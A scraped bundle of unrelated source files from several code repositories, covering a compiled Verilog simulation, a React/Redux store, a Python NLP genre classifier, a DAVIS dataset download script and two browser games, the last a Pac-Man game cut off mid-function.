t237 = (t0 + 1824U);
t238 = *((char **)t237);
t237 = (t0 + 1784U);
t239 = (t237 + 72U);
t240 = *((char **)t239);
t241 = (t0 + 1784U);
t242 = (t241 + 48U);
t247 = *((char **)t242);
t248 = ((char*)((ng13)));
xsi_vlog_generic_get_array_select_value(t245, 12, t238, t240, t247, 2, 1, t248, 32, 1);
memset(t246, 0, 8);
t250 = (t246 + 4);
t251 = (t245 + 4);
t227 = *((unsigned int *)t245);
t228 = (t227 >> 0);
*((unsigned int *)t246) = t228;
t229 = *((unsigned int *)t251);
t230 = (t229 >> 0);
*((unsigned int *)t250) = t230;
t231 = *((unsigned int *)t246);
*((unsigned int *)t246) = (t231 & 15U);
t259 = *((unsigned int *)t250);
*((unsigned int *)t250) = (t259 & 15U);
t252 = ((char*)((ng1)));
xsi_vlogtype_concat(t244, 5, 5, 2U, t252, 1, t246, 4);
xsi_vlogtype_zero_extend(t243, 10, t244, 5);
t253 = (t0 + 1664U);
t254 = *((char **)t253);
t253 = (t0 + 1624U);
t255 = (t253 + 72U);
t257 = *((char **)t255);
t258 = (t0 + 1624U);
t265 = (t258 + 48U);
t266 = *((char **)t265);
t267 = ((char*)((ng6)));
t269 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t249, 10, t254, t257, t266, 2, 2, t267, 32, 1, t269, 32, 1);
memset(t256, 0, 8);
xsi_vlog_unsigned_multiply(t256, 10, t243, 10, t249, 10);
memset(t268, 0, 8);
xsi_vlog_unsigned_add(t268, 10, t235, 10, t256, 10);
t270 = (t0 + 1824U);
t271 = *((char **)t270);
t270 = (t0 + 1784U);
t272 = (t270 + 72U);
t273 = *((char **)t272);
t274 = (t0 + 1784U);
t275 = (t274 + 48U);
t280 = *((char **)t275);
t281 = ((char*)((ng14)));
xsi_vlog_generic_get_array_select_value(t278, 12, t271, t273, t280, 2, 1, t281, 32, 1);
memset(t279, 0, 8);
t283 = (t279 + 4);
t284 = (t278 + 4);
t260 = *((unsigned int *)t278);
t261 = (t260 >> 0);
*((unsigned int *)t279) = t261;
t262 = *((unsigned int *)t284);
t263 = (t262 >> 0);
*((unsigned int *)t283) = t263;
t264 = *((unsigned int *)t279);
*((unsigned int *)t279) = (t264 & 15U);
t292 = *((unsigned int *)t283);
*((unsigned int *)t283) = (t292 & 15U);
t285 = ((char*)((ng1)));
xsi_vlogtype_concat(t277, 5, 5, 2U, t285, 1, t279, 4);
xsi_vlogtype_zero_extend(t276, 10, t277, 5);
t286 = (t0 + 1664U);
t287 = *((char **)t286);
t286 = (t0 + 1624U);
t288 = (t286 + 72U);
t290 = *((char **)t288);
t291 = (t0 + 1624U);
t298 = (t291 + 48U);
t299 = *((char **)t298);
t300 = ((char*)((ng6)));
t302 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t282, 10, t287, t290, t299, 2, 2, t300, 32, 1, t302, 32, 1);
memset(t289, 0, 8);
xsi_vlog_unsigned_multiply(t289, 10, t276, 10, t282, 10);
memset(t301, 0, 8);
xsi_vlog_unsigned_add(t301, 10, t268, 10, t289, 10);
t303 = (t0 + 2704);
xsi_vlogvar_assign_value(t303, t301, 0, 0, 10);
goto LAB8;
}
extern void work_m_00000000002076275707_3967794019_init()
{
static char *pe[] = {(void *)Initial_23_0,(void *)Cont_42_1,(void *)Cont_43_2,(void *)Cont_44_3,(void *)Cont_45_4,(void *)Cont_46_5,(void *)Cont_47_6,(void *)Cont_48_7,(void *)Cont_49_8,(void *)Cont_50_9,(void *)Always_67_10,(void *)Always_76_11,(void *)Always_86_12};
xsi_register_didat("work_m_00000000002076275707_3967794019", "isim/test_window_isim_beh.exe.sim/work/m_00000000002076275707_3967794019.didat");
xsi_register_executes(pe);
}
<file_sep># ec551NSA
license plate reader
| d5ae7aa256190a5cd102a77cf2c1bf5f1828f1d0 | [
"Markdown",
"C"
] | 2 | C | johnab96/ec551NSA | ad94f366cc9af9419fa755b1375e0c89522990fd | 03018eabc55ed6e5656e44b458b39f46e1be06c1 |
refs/heads/master | <repo_name>trebek1/react-store<file_sep>/src/components/Product.jsx
import React, { Component } from 'react';
export default class Product extends Component {
render() {
const product = this.props.product;
const styles = {
'display': 'inline-block',
"height": '300px',
"width" : '300px'
}
const imageProps = {
"height": "200px",
"width": "200px"
}
const inlineBlock = {
"display": "inline-block"
}
return (
<div style={inlineBlock} >
<div style={styles}>
<img style={imageProps} src={product.img} />
<br/>
{product.title}
</div>
</div>
);
}
}
<file_sep>/models/Product.js
var mongoose = require("mongoose");
var productSchema = new mongoose.Schema({
title: String,
price: String,
inStock: Boolean,
company: String,
stars: Number,
img: String
});
productSchema.statics.addProduct = function(title, price, inStock, company, stars, img, cb){
this.create({
title: title,
price: price,
inStock: inStock,
company: company,
stars: stars,
img, img
}, cb)
};
var Product = mongoose.model("Product", productSchema);
module.exports = Product;<file_sep>/src/actions/index.js
import axios from 'axios';
export const REQ_DATA = "REQ_DATA";
export const RES_DATA = "RES_DATA";
export function reqData() {
return {
type: REQ_DATA
}
}
export function resData(products) {
return {
type: RES_DATA,
products
}
}
export function fetchData(store){
console.log("fetch called")
return axios({
method: 'get',
url: '/products'
}).then((response) => {
console.log("response")
store.dispatch(resData(response.data));
}).catch((error)=>{
store.dispatch(resData([]));
})
}
<file_sep>/src/reducers/index.js
import { combineReducers } from 'redux'
import todos from './todos'
import products from './handleData'
import {routerReducer } from 'react-router-redux';
const storeApp = combineReducers({
todos,
products,
routing: routerReducer
})
export default storeApp
<file_sep>/src/index.jsx
import React from 'react';
import ReactDOM from 'react-dom';
import {Router, IndexRoute, Route, browserHistory} from 'react-router';
import {fetchData} from './actions';
//Redux
import { createStore, combineReducers } from 'redux';
import { Provider } from 'react-redux';
import reducers from 'Reducers';
import { syncHistoryWithStore } from 'react-router-redux';
//components
import App from 'App';
import Login from './components/Login';
import Wrapper from './components/Wrapper';
import Products from './components/Products';
import ProductContainer from './containers/ProductContainer.jsx';
// Create the store
const store = createStore(
reducers,
window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__()
);
fetchData(store);
// Sync History and Store
const history = syncHistoryWithStore(browserHistory, store);
ReactDOM.render((
<Provider store={store}>
<Router history={history}>
<Route path="/" pageId="wrapper" component={Wrapper}>
<IndexRoute pageId="index" component={App}/>
<Route path="/login" pageId="Login" component={Login}/>
<Route path="/products" pageId="Products" component={ProductContainer}/>
</Route>
</Router>
</Provider>), document.getElementById('root'));
<file_sep>/src/containers/ProductContainer.jsx
import { connect } from 'react-redux'
import { reqData } from '../actions'
import Products from '../components/Products.jsx'
const mapStateToProps = (state, ownProps) => ({
state
});
// const mapDispatchToProps = (dispatch, ownProps) => ({
// onClick: () => {
// dispatch(setVisibilityFilter(ownProps.filter))
// }
// });
const ProductContainer = connect(
mapStateToProps,
null
)(Products)
export default ProductContainer<file_sep>/src/utils/routes.jsx
import axios from 'axios';
export function login(username, password){
return axios({
method: 'post',
url: '/login',
data: {
'username': username,
'password': <PASSWORD>
}
}).then((response)=>{
if(response.data === "no username in database"){
this.setState({
loggedIn: true,
message: "No username in database"
})
}else if(response.data ==="incorrect password"){
this.setState({
message: "password is incorrect"
});
}else{
this.props.successLog(response.data._id, username);
this.setState({
loggedIn: true,
message: "Successfully Logged In!"
});
}
}).catch((error)=>{
this.setState({
message: "an error occured"
});
});
}
export function getSession(){
axios({
method: 'get',
url: '/session'
}).then((response)=>{
if(response.data){
this.setState({
loggedIn : true,
id: response.data._id
});
}
return response;
}).catch((error)=>{
console.log('error', error)
return error;
})
}
export function logout(){
return axios({
method: 'get',
url: '/logout'
}).then((response)=>{
this.setState({
loggedIn: false,
message: '',
logMessage: "Successfully Logged Out!"
});
}).catch((error)=>{
this.setState({
logMessage: "A System Error Occured"
})
})
} | fdd0405a2633d8fbf01e9311708eade9af65d7bd | [
"JavaScript"
] | 7 | JavaScript | trebek1/react-store | 8ef33d8d0237dda5a416a8f97a24f4feffd668f1 | 22371cacb2af2ac754c2a9b9547393a438c7a32c |
refs/heads/master | <file_sep>import pickle
import ast
import spacy
from GeneralClassifier import Classifier
class NLP:
def __init__(self, train_df, test_df):
self.train_df = train_df
self.test_df = test_df
self.nlp = spacy.load('en_core_web_md')
def _get_paragraph_mean_vector(self, paragraph: str):
string = paragraph.replace('\n', ' ')
doc = self.nlp(string)
mlist = [0] * 300
for word in doc:
# print(word)
mlist += word.vector
mlist /= len(doc)
return mlist
def _find_different_genres(self, my_special_list):
outcome = {}
for i in my_special_list:
for j in i[0]:
outcome[j['id']] = j['name']
return outcome
def _prepare_data_for_classifier(self, mlist, different_genres_list):
input_x = []
labels = []
for row in mlist:
input_x.append(row[1])
tmp_list = []
for genre_id in different_genres_list.keys():
sw = True
for dictionary in row[0]:
if genre_id in dict(dictionary).values():
tmp_list.append(1)
sw = False
break
if sw:
tmp_list.append(0)
labels.append(tmp_list)
return input_x, labels
def _get_mlist(self, df):
mlist = []
for index, row in df.iterrows():
# if index > 10: break # DELETE THIS LINE
if index % 100 == 0:
print(index)
genres_list = row['genres']
overview = row['overview']
vector = self._get_paragraph_mean_vector(str(overview))
x = ast.literal_eval(genres_list)
mlist.append([x, vector])
return mlist
def _save_data(self, x_train, y_train, x_test, y_test, path="algorithm1"):
with open(path + "/x_train.pickle", "wb") as output_file:
pickle.dump(x_train, output_file)
with open(path + "/y_train.pickle", "wb") as output_file:
pickle.dump(y_train, output_file)
with open(path + "/x_test.pickle", "wb") as output_file:
pickle.dump(x_test, output_file)
with open(path + "/y_test", "wb") as output_file:
pickle.dump(y_test, output_file)
def _load_data(self, path="algorithm1"):
with open(path + "/x_train.pickle", "rb") as input_file:
x_train = pickle.load(input_file)
with open(path + "/y_train.pickle", "rb") as input_file:
y_train = pickle.load(input_file)
with open(path + "/x_test.pickle", "rb") as input_file:
x_test = pickle.load(input_file)
with open(path + "/y_test", "rb") as input_file:
y_test = pickle.load(input_file)
return x_train, y_train, x_test, y_test
def run(self):
#
# mlist1 = self._get_mlist(self.train_df)
# mlist2 = self._get_mlist(self.test_df)
#
# differ_list = self._find_different_genres(mlist1)
#
# x_train, y_train = self._prepare_data_for_classifier(mlist1, differ_list)
# x_test, y_test = self._prepare_data_for_classifier(mlist2, differ_list)
#
# self._save_data(x_train, y_train, x_test, y_test, "algorithm1")
x_train, y_train, x_test, y_test = self._load_data(path="algorithm1")
classifier = Classifier(x_train, y_train, x_test, y_test)
classifier.run()
<file_sep>import ast
import pickle
from collections import Counter
import math
import spacy
from GeneralClassifier import Classifier
class NLP:
def __init__(self, train_df, test_df):
self.train_df = train_df
self.test_df = test_df
self.nlp = spacy.load('en_core_web_md')
self.nlp.max_length = 1500000 # or any large value, as long as you don't run out of RAM
def _fill_diff_dictionary(self, text_list):
my_dict = {}
counter = 0
mlist = []
for index, paragraph in enumerate(text_list):
try:
words = self.nlp(paragraph)
except Exception:
continue
for word in words:
if str(word) not in my_dict:
my_dict.setdefault(str(word), counter)
counter += 1
mlist.append([index])
else:
mlist[my_dict.get(str(word))].append(index)
return my_dict, mlist
def _tf_idf(self, diff_dict, custom_list, word: str, paragraph_index, mlist):
tmp_list = custom_list[diff_dict.get(word)]
tf = 0
# paragraph = mlist[paragraph_index][1]
# try:
# words = self.nlp(paragraph)
# for w in words:
# if str(w) == word:
# tf += 1
# except Exception:
# print(paragraph_index)
# print("there is an err in this Paragraph: "+str(paragraph))
counter = Counter(tmp_list)
values = list(counter.values())
keys = counter.keys()
for index, key in enumerate(keys):
if key == paragraph_index:
tf = values[index]
break
df = len(set(custom_list[diff_dict.get(word)]))
idf = math.log(len(mlist) / df)
return tf * idf
def _prepare_train_data_for_classifier(self, mlist, different_words_dict, custom_list, different_genres_dict):
input_x = []
labels = []
for index, row in enumerate(mlist):
if index % 100 == 0:
print(index)
tmp_list = [0] * len(different_words_dict.keys())
try:
for word in self.nlp(row[1]):
key = int(different_words_dict.get(str(word)))
tf_idf = self._tf_idf(different_words_dict, custom_list, str(word), index, mlist)
tmp_list[key] = tf_idf
except Exception:
print("index is: "+str(index))
input_x.append(tmp_list.copy())
tmp_list = []
for genre_id in different_genres_dict.keys():
sw = True
for dictionary in row[0]:
if genre_id in dict(dictionary).values():
tmp_list.append(1)
sw = False
break
if sw:
tmp_list.append(0)
labels.append(tmp_list)
return input_x, labels
def _get_mlist(self, df):
mlist = []
overview_list = []
for index, row in df.iterrows():
# if index > 10: break # DELETE THIS LINE
if index % 100 == 0:
print(index)
genres_list = row['genres']
overview = row['overview']
x = ast.literal_eval(genres_list)
overview_list.append(overview)
mlist.append([x, overview])
return mlist, overview_list
def _idf(self, N, df):
return math.log(N / df)
def _prepare_test_data_for_classifier(self, mlist1, diff_dict, custom_list, different_genres_dict, N):
input_x = []
labels = []
for index, row in enumerate(mlist1):
if index % 100 == 0:
print(index)
tmp_list = [0] * len(diff_dict.keys())
try:
for word in self.nlp(row[1]):
word_str = diff_dict.get(str(word))
if word_str is None:
continue
key = int(word_str)
df = len(set(custom_list[key]))
# print("key is: "+str(str(word))+" df is: "+str(df))
idf = self._idf(N, df)
if idf < 0:
print(str(df) + " " + str(len(mlist1)))
tmp_list[key] += idf
except Exception as e:
pass
input_x.append(tmp_list.copy())
tmp_list1 = []
for genre_id in different_genres_dict.keys():
sw = True
for dictionary in row[0]:
if genre_id in dict(dictionary).values():
tmp_list1.append(1)
sw = False
break
if sw:
tmp_list1.append(0)
labels.append(tmp_list1.copy())
return input_x, labels
def _find_different_genres(self, my_special_list):
outcome = {}
for i in my_special_list:
for j in i[0]:
outcome[j['id']] = j['name']
return outcome
def _save_data(self, x_train, y_train, x_test, y_test, path="algorithm2"):
with open(path + "/x_train.pickle", "wb") as output_file:
pickle.dump(x_train, output_file)
with open(path + "/y_train.pickle", "wb") as output_file:
pickle.dump(y_train, output_file)
with open(path + "/x_test.pickle", "wb") as output_file:
pickle.dump(x_test, output_file)
with open(path + "/y_test", "wb") as output_file:
pickle.dump(y_test, output_file)
def _load_data(self, path="algorithm2"):
with open(path + "/x_train.pickle", "rb") as input_file:
x_train = pickle.load(input_file)
with open(path + "/y_train.pickle", "rb") as input_file:
y_train = pickle.load(input_file)
with open(path + "/x_test.pickle", "rb") as input_file:
x_test = pickle.load(input_file)
with open(path + "/y_test", "rb") as input_file:
y_test = pickle.load(input_file)
return x_train, y_train, x_test, y_test
def run(self):
mlist, overview_list = self._get_mlist(self.train_df)
diff_dict, custom_list = self._fill_diff_dictionary(overview_list)
print(len(diff_dict))
print(self._tf_idf(diff_dict, custom_list, "is", 0, mlist))
print("creating x_train & y_train just strated...")
different_genres_dict = self._find_different_genres(mlist)
x_train, y_train = self._prepare_train_data_for_classifier(mlist, diff_dict, custom_list, different_genres_dict)
print(x_train[0])
print(x_train[1])
print(x_train[2])
print(y_train[0])
mlist1, overview_list1 = self._get_mlist(self.test_df)
print("creating x_test & y_test just strated...")
x_test, y_test = self._prepare_test_data_for_classifier(mlist1, diff_dict, custom_list, different_genres_dict,
len(mlist))
print(x_test[0])
print(x_test[1])
print(x_test[2])
print(y_test[0])
self._save_data(x_train, y_train, x_test, y_test, "algorithm2")
# x_train, y_train, x_test, y_test = self._load_data(path="algorithm2")
classifier = Classifier(x_train, y_train, x_test, y_test)
classifier.run()
<file_sep>from Algorithm3 import NLP
import pandas as pd
import spacy
def load_data():
train_df = pd.read_csv('utils/train.csv', encoding='windows-1252')
test_df = pd.read_csv('utils/test.csv', encoding='windows-1252')
return train_df, test_df
if __name__ == "__main__":
train_df, test_df = load_data()
nlp = NLP(train_df, test_df)
nlp.run()
<file_sep>import numpy as np
from keras import Sequential
from keras.layers import Dense
from sklearn.datasets import make_multilabel_classification
from sklearn.multioutput import MultiOutputClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import hamming_loss, accuracy_score, jaccard_score
from sklearn.svm import LinearSVC
class Classifier:
def __init__(self, x_train, y_train, x_test, y_test):
self.x_train = x_train
self.y_train = y_train
self.x_test = x_test
self.y_test = y_test
def _train_neural_network_model(self, x_train, y_train):
input_dim = len(x_train[0])
output_dim = len(y_train[0])
model = Sequential()
# model.add(Dense(input_dim // 2, input_dim=input_dim, activation='relu'))
# input_dim /= 2
# while input_dim // 2 > output_dim:
# model.add(Dense(input_dim // 2, activation='relu'))
# model.add(Dense(input_dim // 2, activation='relu'))
# input_dim /= 2
model.add(Dense(200, input_dim=input_dim, activation='relu'))
model.add(Dense(100, activation='relu'))
model.add(Dense(50, activation='relu'))
model.add(Dense(20, activation='relu'))
model.add(Dense(output_dim, activation='sigmoid'))
# Compile model
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
print(model.summary())
model.fit(np.array(x_train), np.array(y_train), batch_size=32, epochs=30)
return model
def _predict_nn_model(self, model, x_test):
predicted_list = model.predict(np.array(x_test))
outcome = []
for p_list in predicted_list:
tmp_list = []
for i in p_list:
if i > 0.5:
tmp_list.append(1)
else:
tmp_list.append(0)
outcome.append(tmp_list)
return outcome
def _evaluate(self, true_label: list, predicted_label: list):
counter = 0
for i in range(len(true_label)):
print("predicted: " + str(predicted_label[i]))
print("true label: " + str(true_label[i]))
print()
if true_label[i] == predicted_label[i]:
counter += 1
return counter / len(true_label)
def _accuracy(self, trueL, predictL):
all = len(trueL)
trues = all
for i in range(all):
for j in range(len(trueL[0])):
if trueL[i][j] != predictL[i][j]:
trues -= 1
break
return trues / all
def _train_k_neighbors_classifier(self, x_train, y_train, x_test):
clf = MultiOutputClassifier(KNeighborsClassifier()).fit(x_train, y_train)
predicted_data = list(clf.predict(x_test))
return predicted_data
def _train_svm_classifier(self, x_train, y_train, x_test):
clf = MultiOutputClassifier(LinearSVC()).fit(x_train, y_train)
predicted_data = list(clf.predict(x_test))
return predicted_data
def run(self):
standardScaler = StandardScaler()
standardScaler.fit(self.x_train)
self.x_train = standardScaler.transform(self.x_train)
self.x_test = standardScaler.transform(self.x_test)
model = self._train_neural_network_model(self.x_train, self.y_train)
predicted_list = self._predict_nn_model(model, self.x_test)
mlp_accuracy = jaccard_score(self.y_test, predicted_list, average='samples')
print("MLP accuracy is: " + str(mlp_accuracy))
predicted_list = self._train_k_neighbors_classifier(self.x_train, self.y_train, self.x_test)
multi_output_classifier_acc = jaccard_score(self.y_test, predicted_list, average='samples')
print("accuracy of k_neighbors_classifier: " + str(multi_output_classifier_acc))
predicted_list = self._train_svm_classifier(self.x_train, self.y_train, self.x_test)
multi_output_classifier_acc = jaccard_score(self.y_test, predicted_list, average='samples')
print("accuracy of svm_classifier: " + str(multi_output_classifier_acc))
| 1fad058e3b77d9a125cb62e1b59680f5ee6f96aa | [
"Python"
] | 4 | Python | amirhosseinttt/NaturalLanguageProccessing | 12d52cb5f592eeb74382c271ecd87d7c59294385 | 5c3530b0c6b49c956021ee4c55e5a1657fc9a0f5 |
refs/heads/main | <file_sep># C34-Project_Query-<file_sep>class Bullet
{
constructor(x,y,w,h)
{
var options ={
isStatic: true,
friction: 1,
density: 1,
}
this.image = loadImage('assets/laser.png');
this.body = Bodies.rectangle(x,y,w,h,options)
this.w = w;
this.h = h
//flag value
this.speed = 0.05;
this.animation = [this.image];
World.add(myWorld, this.body);
}
animate()
{
this.speed +=0.05;
}
remove(index)
{
this.isSink = true;
Matter.Body.setVelocity(this.body, {x:0,y:0});
this.speed = 0.05;
// this.r = 150;
setTimeout(()=>
{
Matter.World.remove(myWorld,this.body);
// boats.splice(index,1);
delete bullets[index];
},1000)
}
shoot()
{
var loc = p5.Vector.fromAngle(sentry.angle);
loc.mult(38);
Body.setStatic(this.body, false);
Body.setVelocity(this.body,{x:loc.x, y:loc.y});
}
display()
{
var pos= this.body.position;
var angle = this.body.angle;
push();
translate(pos.x, pos.y)
rotate(angle);
imageMode(CENTER);
image(this.image,0,0,this.r, this.r);
pop();
}
}<file_sep>class Sentry
{
constructor(x,y,w,h,angle)
{
this.x = x;
this.y = y;
this.w = w;
this.h = h;
this.angle = angle;
}
display()
{
this.angle = Math.random(-0.5,2.1);
fill("grey");
push();
//shooter -> rect
translate(this.x+10, this.y)
rotate(this.angle);
rect(-5,-0, this.w, this.h)
pop();
//cannon base -> arc
arc(this.x-10, this.y+10, 10, 20, PI, TWO_PI);
}
}<file_sep>const Engine = Matter.Engine;
const World= Matter.World;
const Bodies = Matter.Bodies;
const Constraint = Matter.Constraint;
const Body = Matter.Body;
const Render= Matter.Render;
var myEngine, myWorld;
var spaceship, spaceshipImg;
var heroPlane, heroPlaneImg;
var backgroundImg;
var sentry;
var laser,laserImg;
var bullets=[];
function preload()
{
spaceshipImg = loadImage('assets/spaceship.png')
heroPlaneImg = loadImage('assets/heroplane.png');
backgroundImg = loadImage('assets/background.png')
laserImg= loadImage('assets/laser.png');
}
function setup(){
createCanvas(1500,700);
myEngine = Engine.create();
myWorld = myEngine.world;
//spaceship = createSprite(200,200,10,10);
//spaceship.addImage(spaceshipImg);
var spaceShip_options={
isStatic:true,
}
spaceship = Bodies.rectangle(20,600,20,20,spaceShip_options)
var heroPlane_options={
isStatic:true,
}
heroPlane = Bodies.rectangle(1300,200,20,20,heroPlane_options)
angle = -PI/4
sentry = new Sentry(185, 590, 10, 10,angle);
var render = Render.create({
element: document.body,
engine: myEngine,
options: {
width: 1500,
height: 700,
wireframes: false
}
});
Render.run(render);
}
function draw(){
//background(backgroundImg);
background(111);
Engine.update(myEngine);
imageMode(CENTER);
image(spaceshipImg,spaceship.position.x,spaceship.position.y,420,190);
image(heroPlaneImg,heroPlane.position.x,heroPlane.position.y,200,100);
keyReleased();
//drawSprites();
sentry.display();
if(frameCount%50 == 0)
{
laser = new Bullet(sentry.x-20,sentry.y-100,100,10)
bullets.push(laser);
for(var i =0;i<bullets.length;i++)
{
bullets[i].shoot();
bullets[i].display();
//showBullet(bullets[i],i)
/* if(collide(bullets,heroPlane)=== true)
{
console.log("ded");
}*/
}
}
if(collide(spaceship,heroPlane)=== true)
{
//delete spaceship;
console.log("lol")
}
}
function keyReleased()
{
if(keyCode ===DOWN_ARROW)
{
heroPlane.position.y += 5;
}
if(keyCode === UP_ARROW)
{
heroPlane.position.y += -0.5
}
if(keyCode ===RIGHT_ARROW)
{
heroPlane.position.x += 0.5;
}
if(keyCode === LEFT_ARROW)
{
heroPlane.position.x += -5
}
if(keyCode ===32)
{
heroPlane.position.y += 0;
heroPlane.position.x += 0;
}
}
function showBullet(ball, index)
{
// ball.shoot();
/*if(ball.body.position.x >=width || ball.body.position.y >= height -100)
{
ball.remove(index);
}*/
}
function collide(body1,body2)
{
if(body1!=null)
{
var d = dist(body1.position.x,body1.position.y,body2.position.x,body2.position.y);
if(d<=100)
{
return true
}
else{
return false
}
}
} | fbefdb20455c8acc6d339bc680b13ff32935f052 | [
"Markdown",
"JavaScript"
] | 4 | Markdown | Riothebest/C34-Project_Query- | 7be09cae90deaae4b82fba996361b1b7d6f54c21 | ce5331125618186e5e6fe8edc5abc82c4640cc21 |
refs/heads/master | <repo_name>YeLyuUT/VOSResearch<file_sep>/lib/datasets/davis.py
#!/usr/bin/env python
import os
from datasets.imdb import imdb
import numpy as np
class DAVIS(imdb):
def evaluate_vos(self):
pass
def prepareBoundingBoxs(self):
pass
#prepare training data
def prepare_data(self):
pass<file_sep>/data/DAVIS/download.sh
#!/bin/bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR
URL_DAVIS_2017=https://github.com/davisvideochallenge/davis-2017.git
DIRECTORY_DAVIS="${DIR}/DAVIS17"
if [ ! -d "$DIRECTORY_DAVIS" ]; then
# Control will enter here if $DIRECTORY doesn't exist.
echo "${DIRECTORY_DAVIS} does not exist, create it now..."
mkdir ${DIRECTORY_DAVIS}
echo "Clone DAVIS17 repository"
git clone ${URL_DAVIS_2017} ${DIRECTORY_DAVIS}
elif [ ! "$(ls -A ${DIRECTORY_DAVIS})"];then
# If directory is empty, git clone the repository
echo "${DIRECTORY_DAVIS} already exists, but is empty"
echo "Clone DAVIS17 repository"
git clone ${URL_DAVIS_2017} ${DIRECTORY_DAVIS}
else
echo "${DIRECTORY_DAVIS} already exists, no need to download"
fi
cd "${DIR}/DAVIS17/data"
# Download Davis17 dataset
"./get_davis.sh"
| 00ae96360b096f04db7b97569209d50e10a09d76 | [
"Python",
"Shell"
] | 2 | Python | YeLyuUT/VOSResearch | 71959428c9405144e048350564b5be13e62ad69a | 86cd216b791f7267fc7884eff1b396fa6952a01a |
refs/heads/main | <file_sep>document.addEventListener('DOMContentLoaded', () => {
const scoreDisplay=document.getElementById("score")
const startButton=document.getElementById("start-button")
const width = 28
let score=0;
let checkdead;
const timercm=14000;
let modef;
const grid = document.querySelector('.grid')
const layout = [
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,
1,3,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,3,1,
1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,
1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,1,4,4,4,4,4,4,4,4,4,4,1,1,0,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,1,4,1,1,1,2,2,1,1,1,4,1,1,0,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,1,4,1,2,2,2,2,2,2,1,4,1,1,0,1,1,1,1,1,1,
4,4,4,4,4,4,0,0,0,4,1,2,2,2,2,2,2,1,4,0,0,0,4,4,4,4,4,4,
1,1,1,1,1,1,0,1,1,4,1,2,2,2,2,2,2,1,4,1,1,0,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,1,4,1,1,1,1,1,1,1,1,4,1,1,0,1,1,1,1,1,1,
1,1,1,1,1,1,0,1,1,4,1,1,1,1,1,1,1,1,4,1,1,0,1,1,1,1,1,1,
1,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,1,
1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,
1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,
1,3,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,3,1,
1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,1,
1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,1,
1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,
1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,
1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
]
// 0 - pac-dots
// 1 - wall
// 2 - ghost-lair
// 3 - power-pellet
// 4 - empty
const squares = []
let mode='scatter'
const scatter=[26,729,755,1];
const chase=[0,2,+width,-width];
//create your board
function createBoard() {
for (let i = 0; i < layout.length; i++) {
const square = document.createElement('div')
grid.appendChild(square)
squares.push(square)
//add layout to the board
if(layout[i]===0){
squares[i].classList.add("pac-dot");
squares[i].innerHTML='.';
}
else if(layout[i] === 1) {
squares[i].classList.add('wall')
}
else if(layout[i]===2)
{
squares[i].classList.add('ghost-lair')
}
else if(layout[i]===3)
squares[i].classList.add('power-pellet');
}
}
//draw pacman onto the board
createBoard()
let pacmanposi=490;
squares[pacmanposi].classList.add('pac-man')
squares[pacmanposi].classList.add('pac-man-right')
function startGame()
{
document.addEventListener('keydown',movePacman);
ghosts.forEach(ghost =>moveGhosts(ghost));
//switch between 'scatter mode' and 'chase mode' every 30 seconds
modef=setInterval(changeMode,timercm)
}
startButton.addEventListener('click',startGame);
function checkMove(i)
{
if(squares[i].classList.contains('wall') ||
squares[i].classList.contains('ghost-lair'))
return false;
else
return true;
}
function removePacman()
{
squares[pacmanposi].classList.remove('pac-man')
squares[pacmanposi].classList.remove('pac-man-right')
squares[pacmanposi].classList.remove('pac-man-left')
squares[pacmanposi].classList.remove('pac-man-up')
squares[pacmanposi].classList.remove('pac-man-down')
}
function movePacman(e)
{
removePacman()
switch(e.keyCode)
{
case 37://leftkey
if(checkMove(pacmanposi-1)&& pacmanposi%width!==0)
{
pacmanposi-=1;
squares[pacmanposi].classList.add('pac-man-left');
}
else if((pacmanposi-1)===363)
{
pacmanposi=391;
squares[pacmanposi].classList.add('pac-man-right');
}
else squares[pacmanposi].classList.add('pac-man-left');
break
case 38://up
if(checkMove(pacmanposi-width)&& pacmanposi-width>=0)
{
pacmanposi-=width;
}
